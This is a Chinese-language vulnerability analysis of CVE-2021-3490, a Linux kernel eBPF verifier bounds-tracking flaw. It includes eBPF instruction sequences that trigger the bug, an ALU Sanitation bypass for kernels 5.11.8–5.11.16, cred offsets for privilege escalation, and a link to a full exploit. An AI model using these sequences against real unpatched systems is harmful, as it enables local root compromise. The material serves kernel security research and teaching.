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CVE-2021-3490 eBPF 32位边界计算错误漏洞利用分析

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发布时间 : 2021-08-31 14:30:16

 

影响版本：Linux 5.7-rc1以后，Linux 5.13-rc4 以前； v5.13-rc4已修补，v5.13-rc3未修补。 评分7.8分。

测试版本：Linux-5.11 和 Linux-5.11.16 exploit及测试环境下载地址—https://github.com/bsauce/kernel-exploit-factory

编译选项：CONFIG_BPF_SYSCALL，config所有带BPF字样的。 CONFIG_SLAB=y

General setup —-> Choose SLAB allocator (SLUB (Unqueued Allocator)) —-> SLAB

在编译时将.config中的CONFIG_E1000和CONFIG_E1000E，变更为=y。参考

$ wget https://mirrors.tuna.tsinghua.edu.cn/kernel/v4.x/linux-5.11.16.tar.xz
$ tar -xvf linux-5.11.16.tar.xz
# KASAN: 设置 make menuconfig 设置"Kernel hacking" ->"Memory Debugging" -> "KASan: runtime memory debugger"。
$ make -j32
$ make all
$ make modules
# 编译出的bzImage目录：/arch/x86/boot/bzImage。

漏洞描述：Linux内核中按位操作（AND、OR 和 XOR）的 eBPF ALU32 边界跟踪没有正确更新 32 位边界，造成 Linux 内核中的越界读取和写入，从而导致任意代码执行。三个漏洞函数分别是 scalar32_min_max_and() 、scalar32_min_max_or()、scalar32_min_max_xor()。AND/OR 是在 Linux 5.7-rc1 中引入，XOR 是在 Linux 5.10-rc1中引入。

补丁：patch 若低32位都为 known，则调用 __mark_reg32_known()，将32位边界设置为reg的低32位（常数），保证最后更新边界时，有正确的边界。

diff --git a/kernel/bpf/verifier.c b/kernel/bpf/verifier.c
index 757476c91c984..9352a1b7de2dd 100644
--- a/kernel/bpf/verifier.c
+++ b/kernel/bpf/verifier.c
@@ -7084,11 +7084,10 @@ static void scalar32_min_max_and(struct bpf_reg_state *dst_reg,
     s32 smin_val = src_reg->s32_min_value;
     u32 umax_val = src_reg->u32_max_value;

-    /* Assuming scalar64_min_max_and will be called so its safe
-     * to skip updating register for known 32-bit case.
-     */
-    if (src_known && dst_known)
+    if (src_known && dst_known) {
+        __mark_reg32_known(dst_reg, var32_off.value);
         return;
+    }

     /* We get our minimum from the var_off, since that's inherently
      * bitwise.  Our maximum is the minimum of the operands' maxima.
@@ -7108,7 +7107,6 @@ static void scalar32_min_max_and(struct bpf_reg_state *dst_reg,
         dst_reg->s32_min_value = dst_reg->u32_min_value;
         dst_reg->s32_max_value = dst_reg->u32_max_value;
     }
-
 }*/

static void __mark_reg32_known(struct bpf_reg_state *reg, u64 imm)
{
    reg->var_off = tnum_const_subreg(reg->var_off, imm);
    reg->s32_min_value = (s32)imm;
    reg->s32_max_value = (s32)imm;
    reg->u32_min_value = (u32)imm;
    reg->u32_max_value = (u32)imm;
}

保护机制：开启KASLR/SMEP/SMAP。

利用总结：利用verifier阶段与runtime执行阶段的不一致性，进行越界读写。泄露内核基址、伪造函数表、实现任意读写后篡改本线程的cred。

1. 漏洞分析

参考：BPF介绍和相似漏洞分析，可参考CVE-2020-8835利用，里面也有var_off 也即tnum结构的含义。总之，其成员 value 表示确定的值，mask 对应的位是1则表示该位不确定。

漏洞根源：eBPF指令集可以对64位寄存器或低32位进行操作，verifier也会对低32位进行范围追踪：{u,s}32_{min,max}_value。每次进行指令操作，有两个函数会分别更新64位和32位的边界，在 adjust_scalar_min_max_vals() 中调用这两个函数。很多BPF漏洞都出现在对32位边界的处理上。CVE-2021-3490也出现在32位运算 BPF_AND、BPF_OR、BPF_XOR 中。

1-1 代码跟踪

漏洞调用链：adjust_scalar_min_max_vals() -> scalar32_min_max_and()

*
/* WARNING: This function does calculations on 64-bit values, but  * the actual execution may occur on 32-bit values. Therefore,      * things like bitshifts need extra checks in the 32-bit case.
*/
static int adjust_scalar_min_max_vals(struct bpf_verifier_env *env,
                                      struct bpf_insn *insn,
                                      struct bpf_reg_state 
                                                  *dst_reg,
                                      struct bpf_reg_state src_reg)
{
...
        case BPF_AND:
                dst_reg->var_off = tnum_and(dst_reg->var_off,       
                src_reg.var_off);
                scalar32_min_max_and(dst_reg, &src_reg);    // [1] <--- 漏洞点
                scalar_min_max_and(dst_reg, &src_reg);
                break;
        case BPF_OR:
                dst_reg->var_off = tnum_or(dst_reg->var_off,  
                src_reg.var_off);
                scalar32_min_max_or(dst_reg, &src_reg);        // <--- 漏洞点
                scalar_min_max_or(dst_reg, &src_reg);
                break;
        case BPF_XOR:
                dst_reg->var_off = tnum_xor(dst_reg->var_off,   
                src_reg.var_off);
                scalar32_min_max_xor(dst_reg, &src_reg);    // <--- 漏洞点
                scalar_min_max_xor(dst_reg, &src_reg);
                break;

...
    __update_reg_bounds(dst_reg);                            // [2]
    __reg_deduce_bounds(dst_reg);
    __reg_bound_offset(dst_reg);
    return 0;
}

[1]： 对比32位和64位的BPF_AND操作。低32位 BPF_AND 中，若 src_reg 和 dst_reg 都为 known，则不用更新32位的边界（开发者假设，反正之后还是会调用 scalar_min_max_and() -> __mark_reg_known() 来标记寄存器的，所以暂时不用处理），直接返回。64位 BPF_AND 中，若 src_reg 和 dst_reg 都为 known，则调用 __mark_reg_known() 将寄存器标记为 known。

问题：scalar32_min_max_and() 32位中，*_known 变量是调用 tnum_subreg_is_const() 来计算的，而 scalar_min_max_and() 64位中是调用 tnum_is_const() 来计算的。区别是，前者只判断低32位的 tnum->mask 来判断是否为 known，后者则判断整个64位是否为 known。如果某个寄存器的高32位不确定，而低32位是确定的，则 scalar_min_max_and() 也不会调用 __mark_reg_known() 来标记寄存器。

static void scalar32_min_max_and(struct bpf_reg_state *dst_reg,
                                 struct bpf_reg_state *src_reg)
{
    bool src_known = tnum_subreg_is_const(src_reg->var_off);
    bool dst_known = tnum_subreg_is_const(dst_reg->var_off);
    struct tnum var32_off = tnum_subreg(dst_reg->var_off);
    s32 smin_val = src_reg->s32_min_value;
    u32 umax_val = src_reg->u32_max_value;


    /* Assuming scalar64_min_max_and will be called so its safe
    * to skip updating register for known 32-bit case.   开发者假设，反正之后还是会调用scalar_min_max_and() -> __mark_reg_known() 来标记寄存器的，所以暂时不用处理，直接返回。但是如果某个寄存器的高32位不确定，而低32位是确定的，则 scalar_min_max_and() 不会调用 __mark_reg_known()。
    */
    if (src_known && dst_known)
        return;
...
}

static void scalar_min_max_and(struct bpf_reg_state *dst_reg,
                              struct bpf_reg_state *src_reg)
{
    bool src_known = tnum_is_const(src_reg->var_off);
    bool dst_known = tnum_is_const(dst_reg->var_off);
    s64 smin_val = src_reg->smin_value;
    u64 umin_val = src_reg->umin_value;

    if (src_known && dst_known) {
            __mark_reg_known(dst_reg, dst_reg->var_off.value);
            return;
    }
  ...
}

[2]：接着 adjust_scalar_min_max_vals() 会调用以下三个函数来更新 dst_reg 寄存器的边界。每个函数都包含32位和64位的处理部分，我们这里只关心32位的处理部分。reg 的边界是根据当前边界和 reg->var_off 来计算的。

// __update_reg32_bounds() —— min边界是取 min{当前min边界、reg确定的值}，会变大；max边界是取 max{当前max边界，reg确定的值}，会变小。
static void __update_reg32_bounds(struct bpf_reg_state *reg)
{
    struct tnum var32_off = tnum_subreg(reg->var_off);

    /* min signed is max(sign bit) | min(other bits) */
    reg->s32_min_value = max_t(s32, reg->s32_min_value,
                               var32_off.value | (var32_off.mask & 
                               S32_MIN));

     /* max signed is min(sign bit) | max(other bits) */
     reg->s32_max_value = min_t(s32, reg->s32_max_value,
                                var32_off.value | (var32_off.mask & 
                                S32_MAX));
     reg->u32_min_value = max_t(u32, reg->u32_min_value,
                               (u32)var32_off.value);
     reg->u32_max_value = min(reg->u32_max_value,
                             (u32)(var32_off.value |
                              var32_off.mask));
}
// __reg32_deduce_bounds() —— 接着用符号和无符号边界来互相更新
/* Uses signed min/max values to inform unsigned, and vice-versa */
static void __reg32_deduce_bounds(struct bpf_reg_state *reg)
{
    /* Learn sign from signed bounds.
     * If we cannot cross the sign boundary, then signed and
     * unsigned bounds
     * are the same, so combine.  This works even in the
     * negative case, e.g.
     * -3 s<= x s<= -1 implies 0xf...fd u<= x u<= 0xf...ff.
     */
    if (reg->s32_min_value >= 0 || reg->s32_max_value < 0) {
            reg->s32_min_value = reg->u32_min_value =
                        max_t(u32, reg->s32_min_value, 
                        reg->u32_min_value);
                reg->s32_max_value = reg->u32_max_value =
                        min_t(u32, reg->s32_max_value, 
                        reg->u32_max_value);
                return;
    }
...
}
// __reg_bound_offset() —— 最后，用无符号边界来更新 var_off
static void __reg_bound_offset(struct bpf_reg_state *reg)
{
    struct tnum var64_off = tnum_intersect(reg->var_off,    // tnum_intersect() —— 组合两个tnum参数
                            tnum_range(reg->umin_value,        // tnum_range() —— 返回一个tnum，表示给定范围内，所有可能的值。
                                       reg->umax_value));                
    struct tnum var32_off = tnum_intersect(tnum_subreg(reg->var_off),tnum_range(reg->u32_min_value, reg->u32_max_value));

    reg->var_off = tnum_or(tnum_clear_subreg(var64_off), 
                                             var32_off);
}

1-2 触发漏洞

BPF代码示例：例如指令BPF_ALU64_REG(BPF_AND, R2, R3)，对 R2 和 R3 进行与操作，并保存到 R2。

  • R2->var_off = {mask = 0xFFFFFFFF00000000; value = 0x1}，表示R2低32位已知为1，高32位未知。由于低32位已知，所以其32位边界也为1。
  • R3->var_off = {mask = 0x0; value = 0x100000002}，表示其整个64位都已知，为 0x100000002。

更新R2的32位边界的步骤如下：

  • 先调用 adjust_scalar_min_max_vals() -> tnum_and() 对 R2->var_off 和 R3->var_off 进行AND操作，并保存到 R2->var_off。结果 R2->var_off = {mask = 0x100000000; value = 0x0}，由于R3是确定的且R2高32位不确定，所以运算后，只有第32位是不确定的。 
    struct tnum tnum_and(struct tnum a, struct tnum b)
{
    u64 alpha, beta, v;

    alpha = a.value | a.mask;
    beta = b.value | b.mask;
    v = a.value & b.value;
    return TNUM(v, alpha & beta & ~v);
}
  • 再调用 adjust_scalar_min_max_vals() -> scalar32_min_max_and()，会直接返回，因为R2和R3的低32位都已知。
  • 再调用 adjust_scalar_min_max_vals() -> __update_reg_bounds() -> __update_reg32_bounds() ，会设置 u32_max_value = 0，因为 var_off.value = 0 < u32_max_value = 1。同时，设置 u32_min_value = 1，因为 var_off.value = 0 < u32_min_value。带符号边界也一样。
  • __reg32_deduce_bounds() 和 __reg_bound_offset() 对边界不作任何改变。最后得到寄存器 R2 — {u,s}32_max_value = 0 < {u,s}32_min_value = 1。

1-3 调试BPF的方法

写和调试BPF程序：可使用rbpf。

verifier 日志输出：加载BPF程序时进行如下设置，即可在verifier检测出指令错误时输出指令信息。正常调试时，可以下源码断点，断在do_check() 函数中，具体观察 verifier 检查每条指令时寄存器的状态。

char verifier_log_buff[0x200000] = {0};        // 这段缓冲区必须足够大，否则会出错
union bpf_attr prog_attrs =
{
    .prog_type = BPF_PROG_TYPE_SOCKET_FILTER,
    .insn_cnt = cnt,
    .insns = (uint64_t)insn,
    .license = (uint64_t)"",
    .log_level = 2,                            // 设置为 1 时，就能输出简洁的指令信息
    .log_size = sizeof(verifier_log_buff),
    .log_buf = verifier_log_buff
};
// 输出示例
34: (bf) r6 = r3
35: R0_w=invP0 R2_w=map_value(id=0,off=0,ks=4,vs=4919,imm=0) R3_w=map_value(id=0,off=0,ks=4,vs=4919,imm=0) R4_w=invP0 R5_w=invP4294967298 R6_w=map_value(id=0,off=0,ks=4,vs=4919,imm=0) R7_w=invP(id=0) R10=fp0 fp-8=mmmm????
35: (7b) *(u64 *)(r2 +8) = r6
R6 leaks addr into map

runtime调试：如果BPF通过了verifier检查，如何获取BPF程序运行时的信息呢？答案是插桩。ALU Sanitation也是运行时检查指令执行情况的保护机制，可以通过插桩观察BPF指令是否已经改变。这里需要了解一个编译选项，编译时设置CONFIG_BPF_JIT，则BPF程序在verifier验证后是JIT及时编译的；如果不设置该选项，则采用eBPF解释器来解码并执行BPF程序，代码位于kernel/bpf/core.c:___bpf_prog_run()。

regs指向寄存器值，insn指向指令。为了获取每条指令执行时的寄存器状态，可以关闭CONFIG_BPF_JIT选项并插入printk语句。示例如下：

static u64 ___bpf_prog_run(u64 *regs, const struct bpf_insn *insn)
{
...
    int lol = 0;

   // Check the first instruction to match the first instruction of  
   // the target eBPF program to debug, so output isn't printed for  
   // every eBPF program that is ran. 只打印部分指令的信息
    if(insn->code == 0xb7)
    {
        lol = 1;
    }


select_insn:
        if(lol)
        {
            printk("instruction is: %0x\n", insn->code);
            printk("r0: %llx, r1: %llx, r2: %llx\n", regs[0], 
            regs[1], regs[2]);
            ...
        }
        goto *jumptable[insn->code];
...
}

2. 漏洞利用 Linux v5.11.7 及以前版本

特点：我们采用Linux v5.11 版本的内核进行测试，特点是不需要绕过一种ALU Sanitation，之后我们会详细介绍。

总目标：构造 r6 寄存器，使得 verifier 认为 r6 等于0，但实际执行时等于1。

2-1 触发漏洞

首先，我们需要构造出两个寄存器的值状态，分别为var_off = {mask = 0xFFFFFFFF00000000; value = 0x1} 和 var_off = {mask = 0x0; value = 0x100000002}。然后触发漏洞，得到 r6 的 u32_max_value = 0 < u32_min_value = 1。

注意：实际从map传入的 r5 = r6 = 0。

// (1) 构造 r6: var_off = {mask = 0xFFFFFFFF00000000; value = 0x1}
        BPF_MAP_GET(0, BPF_REG_5),                        // (79) r5 = *(u64 *)(r0 +0) 从MAP传入值，这样其 mask=0xffffffffffffffff
        BPF_MOV64_REG(BPF_REG_6, BPF_REG_5),            // (bf) r6 = r5

        BPF_LD_IMM64(BPF_REG_2, 0xFFFFFFFF),            // (18) r2 = 0xffffffff
        BPF_ALU64_IMM(BPF_LSH, BPF_REG_2, 32),            // (67) r2 <<= 32         0xFFFFFFFF00000000
        BPF_ALU64_REG(BPF_AND, BPF_REG_6, BPF_REG_2),    // (5f) r6 &= r2  高32位unknown, 低32位known为0
        BPF_ALU64_IMM(BPF_ADD, BPF_REG_6, 1),            // (07) r6 += 1  {mask = 0xFFFFFFFF00000000, value = 0x1}

// (2) 构造 r2: var_off = {mask = 0x0; value = 0x100000002}
        BPF_LD_IMM64(BPF_REG_2, 0x1),                    // (18) r2 = 0x1
        BPF_ALU64_IMM(BPF_LSH, BPF_REG_2, 32),            // (67) r2 <<= 32         0x10000 0000
        BPF_ALU64_IMM(BPF_ADD, BPF_REG_2, 2),            // (07) r2 += 2  {mask = 0x0; value = 0x100000002}

// (3) trigger the vulnerability
        BPF_ALU64_REG(BPF_AND, BPF_REG_6, BPF_REG_8),     // (5f) r6 &= r2         r6: u32_min_value=1, u32_max_value=0

2-2 构造 verifier:0 tuntime:1

// (4) 构造 r5 (r5也是MAP载入的值——0): u32_min_value = 0, u32_max_value = 1, var_off = {mask = 0xFFFFFFFF00000001; value = 0x0}
        BPF_JMP32_IMM(BPF_JLE, BPF_REG_5, 1, 1),        // (b6) if w5 <= 0x1 goto pc+1   r5: u32_min_value = 0, u32_max_value = 1, var_off = {mask = 0xFFFFFFFF00000001; value = 0x0}
        BPF_EXIT_INSN(),
// (5) 构造 r6:   verifier:0  tuntime:1
        BPF_ALU64_IMM(BPF_ADD, BPF_REG_6, 1),            // (07) r6 += 1         r6: u32_max_value = 1, u32_min_value = 2, var_off = {0x100000000; value = 0x1}
        BPF_ALU64_REG(BPF_ADD, BPF_REG_6, BPF_REG_5),    // (0f) r6 += r5   r6: verify:2   fact:1   !!!!!!!!!!!!!!!!!!!!!!!
        BPF_MOV32_REG(BPF_REG_6, BPF_REG_6),            // (bc) w6 = w6    32位扩展为64位
        BPF_ALU64_IMM(BPF_AND, BPF_REG_6, 1),            // (57) r6 &= 1       r6: verify:0   fact:1

r6 += r5分析：目前寄存器状态，r6—u32_min_value=2, u32_max_value=1, var_off = {mask = 0x100000000; value = 0x1}，r5—u32_min_value=0, u32_max_value=1, var_off = {mask = 0xFFFFFFFF00000001; value = 0x0}。

static int adjust_scalar_min_max_vals(struct bpf_verifier_env *env,
                                      struct bpf_insn *insn,
                                      struct bpf_reg_state 
                                             *dst_reg,
                                      struct bpf_reg_state src_reg)
{
  ...
    switch (opcode) {
        case BPF_ADD:
            scalar32_min_max_add(dst_reg, &src_reg);        // [1] <---------
            scalar_min_max_add(dst_reg, &src_reg);
            dst_reg->var_off = tnum_add(dst_reg->var_off, 
                                        src_reg.var_off);
            break;

...
    __update_reg_bounds(dst_reg);                            // [2]
    __reg_deduce_bounds(dst_reg);                            // [3]
    __reg_bound_offset(dst_reg);                            // [4]
    return 0;
}
// [1] 由于r5的低32位是0或1，r6的低32位是1，所以相加结果为1或2，所以低32位的1、2位都为unknown。其mask=0xffffffff 00000003
static void scalar32_min_max_add(struct bpf_reg_state *dst_reg,
                                 struct bpf_reg_state *src_reg)
{
    s32 smin_val = src_reg->s32_min_value;
    s32 smax_val = src_reg->s32_max_value;
    u32 umin_val = src_reg->u32_min_value;
    u32 umax_val = src_reg->u32_max_value;

...
    if (dst_reg->u32_min_value + umin_val < umin_val ||
        dst_reg->u32_max_value + umax_val < umax_val) {        // 判断是否越界
            dst_reg->u32_min_value = 0;
            dst_reg->u32_max_value = U32_MAX;
        } else {
            dst_reg->u32_min_value += umin_val;                // 没越界则直接相加，min+min, max+max
            dst_reg->u32_max_value += umax_val;
        }
}

接着 adjust_scalar_min_max_vals() 会调用 __update_reg_bounds()、__reg_deduce_bounds()、__reg_bound_offset()。

  • __update_reg32_bounds()中，var_off 表示低32位，reg->u32_min_value = max{2, 0} = 2，reg->u32_max_value = min{2, 0 | 0x3} = 2（var32_off.mask = 3）。
  • __reg32_deduce_bounds() 未做修改，因为 signed 32 和 unsigned 32都相等。
  • __reg32_deduce_bounds() 中，tnum_range()返回常数2（因为u32_min_value = u32_max_value=2该范围内只有2），由于reg->var_off.mask = 0x3，所以 tnum_intersect() 返回低2位是 known且为2。

最终得到 r6: {u,s}32_min_value = {u,s}32_max_value = 2, var_off = {mask = 0xFFFFFFFF00000000; value = 0x2}。

// [2] __update_reg32_bounds()
reg->u32_min_value = max_t(u32, reg->u32_min_value,
                          (u32)var32_off.value);
reg->u32_max_value = min(reg->u32_max_value,
                         (u32)(var32_off.value | var32_off.mask));    // var32_off.mask=0x3
// [4] __reg32_deduce_bounds()
struct tnum var32_off = tnum_intersect(tnum_subreg(reg->var_off),    // tnum_subreg取低32位
                                     tnum_range(reg->u32_min_value, // 根据min、max返回一个tnum结构
                                     reg->u32_max_value));
struct tnum tnum_intersect(struct tnum a, struct tnum b)
{
    u64 v, mu;

    v = a.value | b.value;                                            // 简单的整合
    mu = a.mask & b.mask;
    return TNUM(v & ~mu, mu);
}

此时的 r6—{mask = 0xFFFFFFFF00000000; value = 0x2} verifier:2 runtime:1，只需取低32位并 AND 1，即可得到 verifier:0 runtime:1。

2-3 提权

后面的利用步骤和CVE-2021-31440一样，参照 CVE-2021-31440 eBPF边界计算错误漏洞 的exp即可提权。

3. 漏洞利用 Linux v5.11.8 – 5.11.16 版本

特点：我们采用 Linux v5.11.16 版本的内核进行测试，Ubuntu 21.04就是这个版本。2021年3月修复了一个verifier计算alu_limit（与ALU Sanitation安全机制有关）时的整数溢出漏洞——commit 10d2bb2e6b1d8c，导致 Linux 5.11.8 - 5.11.16 这个版本区间的内核无法利用成功。当alu_limit = 0时会触发该漏洞，例如，当对map地址指针进行减法操作时（之前exp这么写，是为了构造越界访问，如泄露内核基址，或者修改map内存之前的 bpf_map 结构），会加入如下sanitation指令：0-1 将得到 aux→alu_limit = 0xFFFFFFFF。

*patch++ = BPF_MOV32_IMM(BPF_REG_AX, aux->alu_limit - 1);

这个漏洞的存在，导致ALU Sanitation机制失效了，因为 alu_limit 变得很大了，检测不到越界访问，所以之前那些公开的exp都能利用成功。但是这个漏洞被修复以后，就需要绕过这个限制，需要多加5条指令来绕过该机制。

绕过该ALU Sanitation：r7指向map，r6是verifier以为是0而运行时为1的那个值。需要在r7指针进行运算前，使alu_limit != 0。

  • （1）r8 = r6 先拷贝一下—— r8 verifier:0 runtime:1。
  • （2）r7 += 0x1000，map指针加上一个常量，以设置alu_limit=0x1000，这样就能绕过运行时的ALU Sanitation。
  • （3）r8 = r8 * 0xfff—— r8 verifier:0 runtime:0xfff。
  • （4）r7 -= r8， 由于verifier以为r8等于0，所以alu_limit保持不变。
  • （5）r7 -= r6 —— r7 verifier:map+0x1000 runtime:map。

注意：

  • 创建map时必须足够大，调用syscall(__NR_BPF, BPF_MAP_CREATE, ...)时第3个参数 bpf_attr->value_size要大于0x1000，不然执行第2条指令时就会报指针越界的错误。 
            BPF_MOV64_REG(BPF_REG_8, BPF_REG_6),                     // 1-1. (bf) r8 = r6  BPF_REG_3 = BPF_REG_6   !!! 1-1 -> 1-5  是为了绕过alu_limit的限制
        BPF_ALU64_IMM(BPF_ADD, BPF_REG_7, 0x1000),                // 1-2. (07) r7 += 0x1000                !!! 注意，map不能过小，小于0x1000 就报错
        BPF_ALU64_IMM(BPF_MUL, BPF_REG_8, 0xfff),                // 1-3. verifier: r8=0;    runtime: r8=0x1000-1
        BPF_ALU64_REG(BPF_SUB, BPF_REG_7, BPF_REG_8),            // 1-4. r7 -= r8
        BPF_ALU64_REG(BPF_SUB, BPF_REG_7, BPF_REG_6),             // 1-5. r7 -= r6
  • 和Linux v5.11 版本相比，还需要修改cred search的相关偏移： 
    gef➤  p/x &(*(struct task_struct *)0)->pid
$9 = 0x918
gef➤  p/x &(*(struct task_struct *)0)->cred
$10 = 0xad8
gef➤  p/x &(*(struct task_struct *)0)->tasks
$11 = 0x818

4. 漏洞利用 Linux v5.11.16以后的版本

特点：目前无法绕过最新的ALU Sanitation保护机制。2021年4月ALU Sanitation引入新的 patch—commit 7fedb63a8307，新增了两个特性。

  • 一是alu_limit计算方法变了，不再用指针寄存器的位置来计算，而是使用offset寄存器。例如，假设有个寄存器的无符号边界是 umax_value = 1, umin_value = 0，则计算出 alu_limit = 1，表示如果该寄存器在运行时超出边界，则指针运算不会使用该寄存器。
  • 二是在runtime时会用立即数替换掉 verifier 认定为常数的寄存器。例如，BPF_ALU64_REG(BPF_ADD, BPF_REG_2, EXPLOIT_REG) ，EXPLOIT_REG被verifier认定为0，但运行时为1，则 将该指令改为 BPF_ALU64_IMM(BPF_ADD, BPF_REG_2, 0)。这个补丁本来是为了防侧信道攻击，同时也阻止了 CVE-2021-3490 漏洞的利用。 
    // 以下补丁可看出，如果不确定offset寄存器是否为常量，则根据其alu_limit进行检查；如果确定其为常量，则用其常量值将其操作patch为立即数指令。
bool off_is_imm = tnum_is_const(off_reg->var_off);
alu_state |= off_is_imm ? BPF_ALU_IMMEDIATE : 0;
isimm = aux->alu_state & BPF_ALU_IMMEDIATE;
...
if (isimm) {
        *patch++ = BPF_MOV32_IMM(BPF_REG_AX, aux->alu_limit);
    } else {
         // Patch alu_limit check instructions
         ....
     }

检查发现，v5.11.17 已打该补丁，v5.11.16 未打该补丁。所以 v5.11.16 以上版本的内核就无法利用漏洞进行越界读写，不知道以后能不能绕过这个限制。

5. ALU Sanitation机制

原理：ALU sanitation机制一直在进行更新，其目的是为了阻止verifier漏洞的利用，原理是在runtime运行时检查BPF指令的操作数，防止指针运算越界导致越界读写，其实是对verifier静态范围检查起到了补充的作用。

如果某条ALU运算指令的操作数是1个指针和1个标量，则计算alu_limit 也即最大绝对值，就是该指针可以进行加减的安全范围。在该指令之前必须加上如下指令，off_reg表示与指针作运算的标量寄存器，BPF_REG_AX是辅助寄存器。

  • （1）将alu_limit载入BPF_REG_AX。
  • （2）BPF_REG_AX = alu_limit - off_reg，如果 off_reg > alu_limit，则BPF_REG_AX最高位符号位置位。
  • （3）若BPF_REG_AUX为正，off_reg为负，则表示alu_limit和寄存器的值符号相反，则BPF_OR操作会设置该符号位。
  • （4）BPF_NEG会使符号位置反，1->0，0->1。
  • （5）BPF_ARSH算术右移63位，BPF_REG_AX只剩符号位。
  • （6）根据以上运算结果，BPF_AND要么清零off_reg要么使其不变。

总体看来，如果off_reg > alu_limit 或者二者符号相反，表示有可能发生指针越界，则off_reg会被替换为0，清空指针运算。反之，如果标量在合理范围内—0 <= off_reg <= alu_limit，则算术移位会将BPF_REG_AX填为1，这样BPF_AND运算不会改变该标量。

*patch++ = BPF_MOV32_IMM(BPF_REG_AX, aux->alu_limit);
*patch++ = BPF_ALU64_REG(BPF_SUB, BPF_REG_AX, off_reg);
*patch++ = BPF_ALU64_REG(BPF_OR, BPF_REG_AX, off_reg);
*patch++ = BPF_ALU64_IMM(BPF_NEG, BPF_REG_AX, 0);
*patch++ = BPF_ALU64_IMM(BPF_ARSH, BPF_REG_AX, 63);
*patch++ = BPF_ALU64_REG(BPF_AND, BPF_REG_AX, off_reg);

最近更新：最近更新了alu_limit的计算方法，见commit 7fedb63a8307d，这里我们对比一下更新前后的计算差异。

  • 之前：alu_limit由指针寄存器的边界确定，如果指针指向map的开头，则alu_limit可减的大小为0，可加的大小为 map size-1，并且alu_limit随着接下来的指针运算而更新。
  • 现在：alu_limit由offset寄存器的边界来确定，将运行时offset寄存器的值与verifier静态范围追踪时计算出来的边界进行比较。

参考

Kernel Pwning with eBPF: a Love Story

https://nvd.nist.gov/vuln/detail/CVE-2021-3490

https://github.com/chompie1337/Linux_LPE_eBPF_CVE-2021-3490

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